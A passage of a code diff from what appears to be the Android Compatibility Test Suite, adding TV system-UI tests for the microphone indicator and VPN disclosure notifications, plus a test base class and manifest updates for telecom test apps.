+        startForegroundService(MEDIA_RECORDER_API_SERVICE, ACTION_START)
+        assertIndicatorWindowVisible()
+
+        stopPackage(MEDIA_RECORDER_API_SERVICE.packageName)
+        assertIndicatorWindowGone()
+    }
+
+    @Test
+    fun micIndicator_shown_whileRecordingUsing_AudioRecordApi_until_crashed() {
+        startForegroundService(AUDIO_RECORD_API_SERVICE, ACTION_START)
+        assertIndicatorWindowVisible()
+
+        startForegroundService(AUDIO_RECORD_API_SERVICE, ACTION_THROW)
+        assertIndicatorWindowGone()
+    }
+
+    @Test
+    fun micIndicator_shown_whileRecordingUsing_MediaRecorderApi_until_crashed() {
+        startForegroundService(MEDIA_RECORDER_API_SERVICE, ACTION_START)
+        assertIndicatorWindowVisible()
+
+        startForegroundService(MEDIA_RECORDER_API_SERVICE, ACTION_THROW)
+        assertIndicatorWindowGone()
+    }
+
+    @Test
+    fun micIndicator_shown_whileRecordingUsingBothApisSimultaneously() {
+        startForegroundService(AUDIO_RECORD_API_SERVICE, ACTION_START)
+        assertIndicatorWindowVisible()
+
+        startForegroundService(MEDIA_RECORDER_API_SERVICE, ACTION_START)
+        assertIndicatorWindowVisible()
+
+        startForegroundService(AUDIO_RECORD_API_SERVICE, ACTION_STOP)
+        // The indicator should stay on, since the MR is still running.
+        assertIndicatorWindowVisible()
+
+        // Give it 7s, and make sure indicator is still there.
+        Thread.sleep(7_000)
+        assertIndicatorWindowVisible()
+
+        startForegroundService(MEDIA_RECORDER_API_SERVICE, ACTION_STOP)
+        // Now it should go.
+        assertIndicatorWindowGone()
+    }
+
+    private fun assertIndicatorWindowVisible() {
+        wmState.waitFor("Waiting for the mic indicator window to come up") {
+            it.containsWindow(MIC_INDICATOR_WINDOW_TITLE) &&
+                    it.isWindowVisible(MIC_INDICATOR_WINDOW_TITLE)
+        } || error("Mic indicator window is not visible.")
+    }
+
+    private fun assertIndicatorWindowGone() {
+        // The indicator stays visible for 5s after the access is stopped.
+        Thread.sleep(6_000)
+        wmState.waitFor("Waiting for the mic indicator window to disappear") {
+            !it.containsWindow(MIC_INDICATOR_WINDOW_TITLE)
+        } || error("Mic indicator window is present (should be gone).")
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/systemui/src/android/systemui/cts/tv/PipTestBase.kt b/tests/tests/systemui/src/android/systemui/cts/tv/PipTestBase.kt
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/tests/tests/systemui/src/android/systemui/cts/tv/PipTestBase.kt
diff --git a/tests/tests/systemui/src/android/systemui/cts/tv/TvTestBase.kt b/tests/tests/systemui/src/android/systemui/cts/tv/TvTestBase.kt
new file mode 100644
index 0000000..4747278
--- /dev/null
+++ b/tests/tests/systemui/src/android/systemui/cts/tv/TvTestBase.kt
@@ -0,0 +1,204 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.systemui.cts.tv
+
+import android.Manifest.permission.FORCE_STOP_PACKAGES
+import android.app.ActivityManager
+import android.app.IActivityManager
+import android.app.IProcessObserver
+import android.app.Instrumentation
+import android.content.ComponentName
+import android.content.Context
+import android.content.pm.PackageManager
+import android.content.pm.PackageManager.FEATURE_LEANBACK
+import android.content.pm.PackageManager.FEATURE_LEANBACK_ONLY
+import android.os.SystemClock
+import android.server.wm.UiDeviceUtils
+import android.server.wm.WindowManagerStateHelper
+import android.systemui.tv.cts.ResourceNames.SYSTEM_UI_PACKAGE
+import android.util.Log
+import androidx.test.platform.app.InstrumentationRegistry
+import androidx.test.uiautomator.UiDevice
+import com.android.compatibility.common.util.SystemUtil
+import org.junit.After
+import org.junit.Assert.assertFalse
+import org.junit.Assume.assumeTrue
+import org.junit.Before
+import java.io.IOException
+
+abstract class TvTestBase {
+    companion object {
+        private const val TAG = "TvTestBase"
+        private const val AFTER_TEST_PROCESS_CHECK_DELAY = 1_000L // 1 sec
+    }
+
+    protected val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
+    protected val uiDevice: UiDevice = UiDevice.getInstance(instrumentation)
+    protected val context: Context = instrumentation.context
+    protected val packageManager: PackageManager = context.packageManager
+            ?: error("Could not get a PackageManager")
+    protected val activityManager: ActivityManager =
+            context.getSystemService(ActivityManager::class.java)
+                    ?: error("Could not get a ActivityManager")
+    protected val wmState: WindowManagerStateHelper = WindowManagerStateHelper()
+    private val isTelevision: Boolean
+        get() = packageManager.run {
+            hasSystemFeature(FEATURE_LEANBACK) || hasSystemFeature(FEATURE_LEANBACK_ONLY)
+        }
+    private val systemUiProcessObserver = SystemUiProcessObserver()
+
+    @Before
+    fun setUp() {
+        assumeTrue(isTelevision)
+
+        systemUiProcessObserver.start()
+
+        UiDeviceUtils.pressWakeupButton()
+        UiDeviceUtils.pressUnlockButton()
+
+        onSetUp()
+    }
+
+    @After
+    fun tearDown() {
+        if (!isTelevision) return
+
+        onTearDown()
+
+        SystemClock.sleep(AFTER_TEST_PROCESS_CHECK_DELAY)
+        systemUiProcessObserver.stop()
+        assertFalse("SystemUI has died during test execution", systemUiProcessObserver.hasDied)
+    }
+
+    abstract fun onSetUp()
+
+    abstract fun onTearDown()
+
+    protected fun launchActivity(
+        activity: ComponentName? = null,
+        action: String? = null,
+        flags: Set<Int> = setOf(),
+        boolExtras: Map<String, Boolean> = mapOf(),
+        intExtras: Map<String, Int> = mapOf(),
+        stringExtras: Map<String, String> = mapOf()
+    ) {
+        require(activity != null || !action.isNullOrBlank()) {
+            "Cannot launch an activity with neither activity name nor action!"
+        }
+        val command = composeAmShellCommand(
+                "start", activity, action, flags, boolExtras, intExtras, stringExtras)
+        executeShellCommand(command)
+    }
+
+    protected fun startForegroundService(
+        service: ComponentName,
+        action: String? = null
+    ) {
+        val command = composeAmShellCommand("start-foreground-service", service, action)
+        executeShellCommand(command)
+    }
+
+    protected fun sendBroadcast(
+        action: String,
+        flags: Set<Int> = setOf(),
+        boolExtras: Map<String, Boolean> = mapOf(),
+        intExtras: Map<String, Int> = mapOf(),
+        stringExtras: Map<String, String> = mapOf()
+    ) {
+        val command = composeAmShellCommand(
+                "broadcast", null, action, flags, boolExtras, intExtras, stringExtras)
+        executeShellCommand(command)
+    }
+
+    protected fun stopPackage(packageName: String) {
+        SystemUtil.runWithShellPermissionIdentity({
+            activityManager.forceStopPackage(packageName)
+        }, FORCE_STOP_PACKAGES)
+    }
+
+    private fun composeAmShellCommand(
+        command: String,
+        component: ComponentName?,
+        action: String? = null,
+        flags: Set<Int> = setOf(),
+        boolExtras: Map<String, Boolean> = mapOf(),
+        intExtras: Map<String, Int> = mapOf(),
+        stringExtras: Map<String, String> = mapOf()
+    ): String = buildString {
+        append("am ")
+        append(command)
+        component?.let {
+            append(" -n ")
+            append(it.flattenToShortString())
+        }
+        action?.let {
+            append(" -a ")
+            append(it)
+        }
+        flags.forEach {
+            append(" -f ")
+            append(it)
+        }
+        boolExtras.forEach {
+            append(it.withFlag("ez"))
+        }
+        intExtras.forEach {
+            append(it.withFlag("ei"))
+        }
+        stringExtras.forEach {
+            append(it.withFlag("es"))
+        }
+    }
+
+    private fun Map.Entry<String, *>.withFlag(flag: String): String = " --$flag $key $value"
+
+    protected fun executeShellCommand(cmd: String): String {
+        try {
+            return SystemUtil.runShellCommand(instrumentation, cmd)
+        } catch (e: IOException) {
+            Log.e(TAG, "Error running shell command: $cmd")
+            throw e
+        }
+    }
+
+    inner class SystemUiProcessObserver : IProcessObserver.Stub() {
+        private val activityManager: IActivityManager = ActivityManager.getService()
+        private val uiAutomation = instrumentation.uiAutomation
+        private val systemUiUid = packageManager.getPackageUid(SYSTEM_UI_PACKAGE, 0)
+        var hasDied: Boolean = false
+
+        fun start() {
+            hasDied = false
+            uiAutomation.adoptShellPermissionIdentity(
+                    android.Manifest.permission.SET_ACTIVITY_WATCHER)
+            activityManager.registerProcessObserver(this)
+        }
+
+        fun stop() {
+            activityManager.unregisterProcessObserver(this)
+            uiAutomation.dropShellPermissionIdentity()
+        }
+
+        override fun onForegroundActivitiesChanged(pid: Int, uid: Int, foreground: Boolean) {}
+
+        override fun onForegroundServicesChanged(pid: Int, uid: Int, serviceTypes: Int) {}
+
+        override fun onProcessDied(pid: Int, uid: Int) {
+            if (uid == systemUiUid) hasDied = true
+        }
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/systemui/src/android/systemui/cts/tv/VpnDisclosureTest.kt b/tests/tests/systemui/src/android/systemui/cts/tv/VpnDisclosureTest.kt
new file mode 100644
index 0000000..6b54652
--- /dev/null
+++ b/tests/tests/systemui/src/android/systemui/cts/tv/VpnDisclosureTest.kt
@@ -0,0 +1,138 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.systemui.cts.tv
+
+import android.app.Notification
+import android.content.ComponentName
+import android.platform.test.annotations.Postsubmit
+import android.server.wm.annotation.Group2
+import android.service.notification.StatusBarNotification
+import android.systemui.cts.NotificationListener
+import android.systemui.tv.cts.ResourceNames.SYSTEM_UI_PACKAGE
+import android.util.Log
+import androidx.test.ext.junit.runners.AndroidJUnit4
+import androidx.test.uiautomator.By
+import androidx.test.uiautomator.Until
+import com.android.internal.messages.nano.SystemMessageProto
+import org.junit.After
+import org.junit.Before
+import org.junit.Test
+import org.junit.runner.RunWith
+import kotlin.test.assertNotNull
+import kotlin.test.assertTrue
+
+/**
+ * Tests VPN disclosure notifications.
+ *
+ * Build/Install/Run:
+ * atest VpnDisclosureTest
+ */
+@Postsubmit
+@Group2
+@RunWith(AndroidJUnit4::class)
+class VpnDisclosureTest : TvTestBase() {
+    companion object {
+        private const val TAG = "VpnDisclosureTest"
+        private const val VPN_PACKAGE = "com.android.cts.vpnfirewall"
+        private val VPN_CONTROL_ACTIVITY = ComponentName.createRelative(VPN_PACKAGE, ".VpnClient")
+        private const val ACTION_CONNECT_AND_FINISH = "$VPN_PACKAGE.action.CONNECT_AND_FINISH"
+        private const val ACTION_DISCONNECT_AND_FINISH = "$VPN_PACKAGE.action.DISCONNECT_AND_FINISH"
+
+        private const val VPN_CONFIRM_ALERT_ACCEPT_BUTTON = "android:id/button1"
+        private const val CONFIRM_VPN_TIMEOUT_MS = 3_000L
+    }
+
+    @Before
+    override fun onSetUp() {
+        NotificationListener.startNotificationListener()
+    }
+
+    @After
+    override fun onTearDown() {
+        stopVpnConnection()
+        NotificationListener.stopNotificationListener()
+    }
+
+    @Test
+    fun vpnDisclosure_connectedNotificationShown_afterConnectedToVpn() {
+        startVpnConnection()
+        assertVpnConnectedNotificationPresent()
+
+        // Connected notification should be ongoing and persistent
+        Thread.sleep(7_000)
+        assertVpnConnectedNotificationPresent()
+    }
+
+    @Test
+    fun vpnDisclosure_disconnectedNotificationShown_afterDisonnectedFromVpn() {
+        startVpnConnection()
+        // Short timeout to settle down the connection and notification
+        Thread.sleep(1_000)
+        stopVpnConnection()
+
+        assertVpnDisconnectedNotificationPresent()
+        // Disconnected notification should be short lived
+        Thread.sleep(7_000)
+        assertNoVpnNotificationsPresent()
+    }
+
+    private fun assertVpnConnectedNotificationPresent() {
+        assertNotNull(
+                NotificationListener.waitForNotificationToAppear {
+                    it.isVpnConnectedNotification
+                }, "Vpn connected notification not found!"
+        )
+    }
+
+    private fun assertVpnDisconnectedNotificationPresent() {
+        assertNotNull(
+                NotificationListener.waitForNotificationToAppear {
+                    it.isVpnDisconnectedNotification
+                }, "Vpn disconnected notification not found!"
+        )
+    }
+
+    private fun assertNoVpnNotificationsPresent() {
+        assertTrue(
+                NotificationListener.waitForNotificationToDisappear {
+                    it.isVpnConnectedNotification || it.isVpnDisconnectedNotification
+                }, "Vpn notification(s) still present!"
+        )
+    }
+
+    private fun startVpnConnection() {
+        launchActivity(VPN_CONTROL_ACTIVITY, ACTION_CONNECT_AND_FINISH)
+        // Accept the VPN confirmation alert (if it appears)
+        uiDevice.wait(Until.findObject(
+                By.res(VPN_CONFIRM_ALERT_ACCEPT_BUTTON)), CONFIRM_VPN_TIMEOUT_MS)?.click()
+                ?: Log.w(TAG, "VPN confirmation dialog was not shown. " +
+                        "Was this VPN connection accepted before?")
+    }
+
+    private fun stopVpnConnection() {
+        launchActivity(VPN_CONTROL_ACTIVITY, ACTION_DISCONNECT_AND_FINISH)
+    }
+
+    private val StatusBarNotification.isVpnConnectedNotification: Boolean
+        get() = id == SystemMessageProto.SystemMessage.NOTE_VPN_STATUS &&
+                SYSTEM_UI_PACKAGE == packageName &&
+                (notification.flags and Notification.FLAG_ONGOING_EVENT) != 0
+
+    private val StatusBarNotification.isVpnDisconnectedNotification: Boolean
+        get() = id == SystemMessageProto.SystemMessage.NOTE_VPN_DISCONNECTED &&
+                SYSTEM_UI_PACKAGE == packageName
+}
diff --git a/tests/tests/telecom/AndroidManifest.xml b/tests/tests/telecom/AndroidManifest.xml
index b408dbd..ad9f709 100644
--- a/tests/tests/telecom/AndroidManifest.xml
+++ b/tests/tests/telecom/AndroidManifest.xml
@@ -15,33 +15,36 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.telecom.cts"
-    android:sharedUserId="android.telecom.cts">
-    <uses-sdk android:minSdkVersion="21" />
-    <uses-permission android:name="android.permission.ANSWER_PHONE_CALLS" />
-    <uses-permission android:name="android.permission.CALL_PHONE" />
-    <uses-permission android:name="android.permission.CAMERA" />
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.MANAGE_OWN_CALLS" />
-    <uses-permission android:name="android.permission.READ_ACTIVE_EMERGENCY_SESSION" />
-    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
-    <uses-permission android:name="android.permission.READ_CALL_LOG" />
-    <uses-permission android:name="android.permission.REGISTER_CALL_PROVIDER" />
-    <uses-permission android:name="android.permission.ACCEPT_HANDOVER" />
-    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" />
-    <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" />
-    <uses-permission android:name="android.permission.READ_CONTACTS" />
-    <uses-permission android:name="android.permission.WRITE_CONTACTS" />
-    <uses-permission android:name="android.permission.CONTROL_INCALL_EXPERIENCE" />
-    <uses-permission android:name="android.permission.ENTER_CAR_MODE_PRIORITIZED" />
-    <uses-permission android:name="android.permission.MANAGE_ONGOING_CALLS" />
-    <uses-permission android:name="com.android.voicemail.permission.ADD_VOICEMAIL" />
+     package="android.telecom.cts"
+     android:sharedUserId="android.telecom.cts">
+    <uses-sdk android:minSdkVersion="21"/>
+    <uses-permission android:name="android.permission.ANSWER_PHONE_CALLS"/>
+    <uses-permission android:name="android.permission.CALL_PHONE"/>
+    <uses-permission android:name="android.permission.CAMERA"/>
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.MANAGE_OWN_CALLS"/>
+    <uses-permission android:name="android.permission.READ_ACTIVE_EMERGENCY_SESSION"/>
+    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+    <uses-permission android:name="android.permission.READ_CALL_LOG"/>
+    <uses-permission android:name="android.permission.REGISTER_CALL_PROVIDER"/>
+    <uses-permission android:name="android.permission.ACCEPT_HANDOVER"/>
+    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS"/>
+    <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
+    <uses-permission android:name="android.permission.READ_CONTACTS"/>
+    <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
+    <uses-permission android:name="android.permission.CONTROL_INCALL_EXPERIENCE"/>
+    <uses-permission android:name="android.permission.ENTER_CAR_MODE_PRIORITIZED"/>
+    <uses-permission android:name="android.permission.MANAGE_ONGOING_CALLS"/>
+    <uses-permission android:name="android.permission.TOGGLE_AUTOMOTIVE_PROJECTION" />
+    <uses-permission android:name="com.android.voicemail.permission.ADD_VOICEMAIL"/>
     <uses-permission android:name="android.permission.MANAGE_ROLE_HOLDERS" />
     <uses-permission android:name="android.permission.MANAGE_USERS" />
     <uses-permission android:name="android.permission.REGISTER_SIM_SUBSCRIPTION" />
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
+    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <service android:name="android.telecom.cts.CtsCallDiagnosticService"
             android:permission="android.permission.BIND_CALL_DIAGNOSTIC_SERVICE"
@@ -52,28 +55,32 @@
         </service>
 
         <service android:name="android.telecom.cts.CtsRemoteConnectionService"
-            android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE" >
+             android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.telecom.ConnectionService" />
+                <action android:name="android.telecom.ConnectionService"/>
             </intent-filter>
         </service>
 
         <service android:name="android.telecom.cts.CtsConnectionService"
-            android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE" >
+             android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.telecom.ConnectionService" />
+                <action android:name="android.telecom.ConnectionService"/>
             </intent-filter>
         </service>
 
         <service android:name="android.telecom.cts.CtsSelfManagedConnectionService"
-            android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE" >
+             android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.telecom.ConnectionService" />
+                <action android:name="android.telecom.ConnectionService"/>
             </intent-filter>
         </service>
 
         <service android:name="android.telecom.cts.MockInCallService"
-            android:permission="android.permission.BIND_INCALL_SERVICE" >
+             android:permission="android.permission.BIND_INCALL_SERVICE"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.telecom.InCallService"/>
             </intent-filter>
@@ -84,87 +91,92 @@
         </service>
 
         <service android:name="android.telecom.cts.MockCallScreeningService"
-            android:permission="android.permission.BIND_SCREENING_SERVICE"
-            android:enabled="false" >
+             android:permission="android.permission.BIND_SCREENING_SERVICE"
+             android:enabled="false"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.telecom.CallScreeningService"/>
             </intent-filter>
         </service>
 
         <service android:name="android.telecom.cts.CtsPhoneAccountSuggestionService"
-                 android:permission="android.permission.BIND_PHONE_ACCOUNT_SUGGESTION_SERVICE"
-                 android:enabled="false" >
+             android:permission="android.permission.BIND_PHONE_ACCOUNT_SUGGESTION_SERVICE"
+             android:enabled="false"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.telecom.PhoneAccountSuggestionService"/>
             </intent-filter>
         </service>
 
         <service android:name="com.android.compatibility.common.util.BlockedNumberService"
-            android:exported="true"
-            android:singleUser="true" >
+             android:exported="true"
+             android:singleUser="true">
             <intent-filter>
                 <action android:name="android.telecom.cts.InsertBlockedNumber"/>
                 <action android:name="android.telecom.cts.DeleteBlockedNumber"/>
             </intent-filter>
         </service>
 
-        <receiver android:name="android.telecom.cts.MockMissedCallNotificationReceiver">
+        <receiver android:name="android.telecom.cts.MockMissedCallNotificationReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.telecom.action.SHOW_MISSED_CALLS_NOTIFICATION" />
+                <action android:name="android.telecom.action.SHOW_MISSED_CALLS_NOTIFICATION"/>
             </intent-filter>
         </receiver>
 
-        <receiver android:name="android.telecom.cts.MockPhoneAccountChangedReceiver">
+        <receiver android:name="android.telecom.cts.MockPhoneAccountChangedReceiver"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.telecom.action.PHONE_ACCOUNT_REGISTERED"/>
                 <action android:name="android.telecom.action.PHONE_ACCOUNT_UNREGISTERED"/>
             </intent-filter>
         </receiver>
 
-        <receiver android:name="android.telecom.cts.NewOutgoingCallBroadcastReceiver">
+        <receiver android:name="android.telecom.cts.NewOutgoingCallBroadcastReceiver"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.NEW_OUTGOING_CALL"/>
             </intent-filter>
         </receiver>
 
-        <activity android:name="android.telecom.cts.MockDialerActivity">
+        <activity android:name="android.telecom.cts.MockDialerActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:mimeType="vnd.android.cursor.item/phone" />
-                <data android:mimeType="vnd.android.cursor.item/person" />
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:mimeType="vnd.android.cursor.item/phone"/>
+                <data android:mimeType="vnd.android.cursor.item/person"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="voicemail" />
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="voicemail"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.VIEW" />
-                <action android:name="android.intent.action.DIAL" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="tel" />
+                <action android:name="android.intent.action.VIEW"/>
+                <action android:name="android.intent.action.DIAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="tel"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.telecom.cts"
-                     android:label="CTS tests for android.telecom package">
+         android:targetPackage="android.telecom.cts"
+         android:label="CTS tests for android.telecom package">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 </manifest>
-
diff --git a/tests/tests/telecom/AndroidTest.xml b/tests/tests/telecom/AndroidTest.xml
index fa09889..6f51e4a 100644
--- a/tests/tests/telecom/AndroidTest.xml
+++ b/tests/tests/telecom/AndroidTest.xml
@@ -46,4 +46,8 @@
         <option name="test-timeout" value="20m"/>
         <option name="shell-timeout" value="22m"/>
     </test>
+    <object type="module_controller"
+            class="com.android.tradefed.testtype.suite.module.TestFailureModuleController">
+        <option name="bugreportz-on-failure" value="true" />
+    </object>
 </configuration>
diff --git a/tests/tests/telecom/Api29InCallServiceTestApp/AndroidManifest.xml b/tests/tests/telecom/Api29InCallServiceTestApp/AndroidManifest.xml
index d9fd0f8..1922df6 100644
--- a/tests/tests/telecom/Api29InCallServiceTestApp/AndroidManifest.xml
+++ b/tests/tests/telecom/Api29InCallServiceTestApp/AndroidManifest.xml
@@ -15,35 +15,35 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.telecom.cts.api29incallservice"
-          android:versionCode="1"
-          android:versionName="1.0"
-          android:sharedUserId="android.telecom.cts">
+     package="android.telecom.cts.api29incallservice"
+     android:versionCode="1"
+     android:versionName="1.0"
+     android:sharedUserId="android.telecom.cts">
 
     <!-- sdk 15 is the max for read call log -->
     <uses-sdk android:minSdkVersion="15"
-              android:targetSdkVersion="29" />
+         android:targetSdkVersion="29"/>
 
     <uses-permission android:name="android.permission.READ_CALL_LOG"/>
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
-    <uses-permission android:name="android.permission.CONTROL_INCALL_EXPERIENCE" />
+    <uses-permission android:name="android.permission.CONTROL_INCALL_EXPERIENCE"/>
 
     <application android:label="Api29CTSInCallService"
                  android:debuggable="true">
         <service android:name=".CtsApi29InCallService"
-                 android:permission="android.permission.BIND_INCALL_SERVICE"
-                 android:launchMode="singleInstance"
-                 android:exported="true">
+             android:permission="android.permission.BIND_INCALL_SERVICE"
+             android:launchMode="singleInstance"
+             android:exported="true">
             <!--  indicates it's a non-UI service, required by non-Ui InCallService -->
             <intent-filter>
                 <action android:name="android.telecom.InCallService"/>
             </intent-filter>
         </service>
         <service android:name=".CtsApi29InCallServiceControl"
-                 android:launchMode="singleInstance">
+             android:launchMode="singleInstance"
+             android:exported="true">
             <intent-filter>
-                <action
-                    android:name="android.telecom.cts.api29incallservice.ACTION_API29_CONTROL"/>
+                <action android:name="android.telecom.cts.api29incallservice.ACTION_API29_CONTROL"/>
             </intent-filter>
         </service>
     </application>
diff --git a/tests/tests/telecom/CallRedirectionServiceTestApp/AndroidManifest.xml b/tests/tests/telecom/CallRedirectionServiceTestApp/AndroidManifest.xml
index 8527c9e..a4b0a97 100644
--- a/tests/tests/telecom/CallRedirectionServiceTestApp/AndroidManifest.xml
+++ b/tests/tests/telecom/CallRedirectionServiceTestApp/AndroidManifest.xml
@@ -15,18 +15,20 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.telecom.cts.redirectiontestapp">
+     package="android.telecom.cts.redirectiontestapp">
     <application android:label="CTSCRTest">
         <service android:name=".CtsCallRedirectionService"
-                 android:permission="android.permission.BIND_CALL_REDIRECTION_SERVICE">
+             android:permission="android.permission.BIND_CALL_REDIRECTION_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.telecom.CallRedirectionService" />
+                <action android:name="android.telecom.CallRedirectionService"/>
             </intent-filter>
         </service>
-        <service android:name=".CtsCallRedirectionServiceController">
+        <service android:name=".CtsCallRedirectionServiceController"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.telecom.cts.redirectiontestapp.ACTION_CONTROL_CALL_REDIRECTION_SERVICE" />
+                <action android:name="android.telecom.cts.redirectiontestapp.ACTION_CONTROL_CALL_REDIRECTION_SERVICE"/>
             </intent-filter>
         </service>
     </application>
-</manifest>
\ No newline at end of file
+</manifest>
diff --git a/tests/tests/telecom/CallScreeningServiceTestApp/AndroidManifest.xml b/tests/tests/telecom/CallScreeningServiceTestApp/AndroidManifest.xml
index 1d10377..183e269 100644
--- a/tests/tests/telecom/CallScreeningServiceTestApp/AndroidManifest.xml
+++ b/tests/tests/telecom/CallScreeningServiceTestApp/AndroidManifest.xml
@@ -15,27 +15,30 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.telecom.cts.screeningtestapp">
-    <uses-permission android:name="android.permission.READ_CONTACTS" />
-    <uses-permission android:name="android.permission.REVOKE_RUNTIME_PERMISSIONS" />
-    <uses-permission android:name="android.permission.GRANT_RUNTIME_PERMISSIONS" />
+     package="android.telecom.cts.screeningtestapp">
+    <uses-permission android:name="android.permission.READ_CONTACTS"/>
+    <uses-permission android:name="android.permission.REVOKE_RUNTIME_PERMISSIONS"/>
+    <uses-permission android:name="android.permission.GRANT_RUNTIME_PERMISSIONS"/>
     <application android:label="CTSCSTest">
         <service android:name=".CtsCallScreeningService"
-                 android:permission="android.permission.BIND_SCREENING_SERVICE">
+             android:permission="android.permission.BIND_SCREENING_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.telecom.CallScreeningService" />
+                <action android:name="android.telecom.CallScreeningService"/>
             </intent-filter>
         </service>
-        <service android:name=".CallScreeningServiceControl">
+        <service android:name=".CallScreeningServiceControl"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.telecom.cts.screeningtestapp.ACTION_CONTROL_CALL_SCREENING_SERVICE" />
+                <action android:name="android.telecom.cts.screeningtestapp.ACTION_CONTROL_CALL_SCREENING_SERVICE"/>
             </intent-filter>
         </service>
         <activity android:name=".CtsPostCallActivity"
-                  android:label="CtsPostCallActivity">
+             android:label="CtsPostCallActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.telecom.action.POST_CALL" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.telecom.action.POST_CALL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/tests/tests/telecom/CarModeTestApp/AndroidManifest.xml b/tests/tests/telecom/CarModeTestApp/AndroidManifest.xml
index 1a94526..278de3d 100644
--- a/tests/tests/telecom/CarModeTestApp/AndroidManifest.xml
+++ b/tests/tests/telecom/CarModeTestApp/AndroidManifest.xml
@@ -22,6 +22,7 @@
 
     <uses-permission android:name="android.permission.CONTROL_INCALL_EXPERIENCE" />
